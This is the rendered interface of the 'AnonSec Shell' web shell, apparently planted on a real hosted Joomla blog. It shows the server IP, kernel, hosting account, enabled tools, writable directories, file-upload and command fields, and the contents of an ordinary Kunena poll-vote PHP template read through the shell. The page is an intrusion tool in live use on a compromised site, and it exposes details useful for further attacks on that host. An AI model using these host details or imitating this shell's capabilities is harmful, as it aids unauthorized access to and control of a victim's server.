AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awebpaca/blog/components/com_kunena/template/crypsis/layouts/topic/poll/vote/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/awebpaca/blog/components/com_kunena/template/crypsis/layouts/topic/poll/vote/default.php
<?php
/**
 * Kunena Component
 * @package     Kunena.Template.Crypsis
 * @subpackage  Layout.Topic
 *
 * @copyright   (C) 2008 - 2018 Kunena Team. All rights reserved.
 * @license     https://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link        https://www.kunena.org
 **/
defined('_JEXEC') or die;

// TODO: Hide KunenaHtmlParser::parseText()
$this->addScript('assets/js/poll.js');
?>
<div class="pull-right btn btn-small" data-toggle="collapse" data-target="#poll-vote">&times;</div>
<h2>
	<?php echo JText::_('COM_KUNENA_POLL_NAME') . ' ' . KunenaHtmlParser::parseText($this->poll->title); ?>
</h2>

<div class="collapse in" id="poll-vote">
<form action="<?php echo KunenaRoute::_('index.php?option=com_kunena&view=topic'); ?>" method="post">
	<input type="hidden" name="task" value="vote" />
	<input type="hidden" name="catid" value="<?php echo $this->topic->category_id; ?>" />
	<input type="hidden" name="id" value="<?php echo $this->topic->id; ?>" />
	<?php echo JHtml::_('form.token'); ?>

	<div class="well">
		<ul class="unstyled">

			<?php foreach ($this->poll->getOptions() as $key => $poll_option) : ?>
			<li>
				<label>
					<input class="kpoll-boxvote" type="radio" name="kpollradio"
					       id="radio_name<?php echo (int) $key; ?>"
					       value="<?php echo (int) $poll_option->id; ?>"
					<?php if ($this->voted && $this->voted->lastvote == $poll_option->id) { echo 'checked="checked"'; } ?> />
					<?php echo KunenaHtmlParser::parseText($poll_option->text); ?>
				</label>
			</li>
			<?php endforeach; ?>

		</ul>

		<input id="kpoll-button-vote" class="btn btn-success" type="submit"
		       value="<?php echo $this->voted && $this->config->pollallowvoteone
			       ? JText::_('COM_KUNENA_POLL_BUTTON_CHANGEVOTE')
			       : JText::_('COM_KUNENA_POLL_BUTTON_VOTE'); ?>" />
		<input id="kpoll_go_results" type="button" class="btn btn-success" value="<?php echo JText::_('COM_KUNENA_POLL_BUTTON_VIEW_RESULTS') ?>" />
		<input id="kpoll_hide_results" type="button" class="btn btn-success" style="display:none;" value="<?php echo JText::_('COM_KUNENA_POLL_BUTTON_HIDE_RESULTS') ?>" />
	</div>
</form>
</div>
<?php echo $this->subLayout('Topic/Poll/Results')->set('poll', $this->poll)->set('usercount', $this->usercount)->set('me', $this->me)->set('topic', $this->topic)->set('category', $this->category)->set('show_title', false); ?>

Anon7 - 2022
AnonSec Team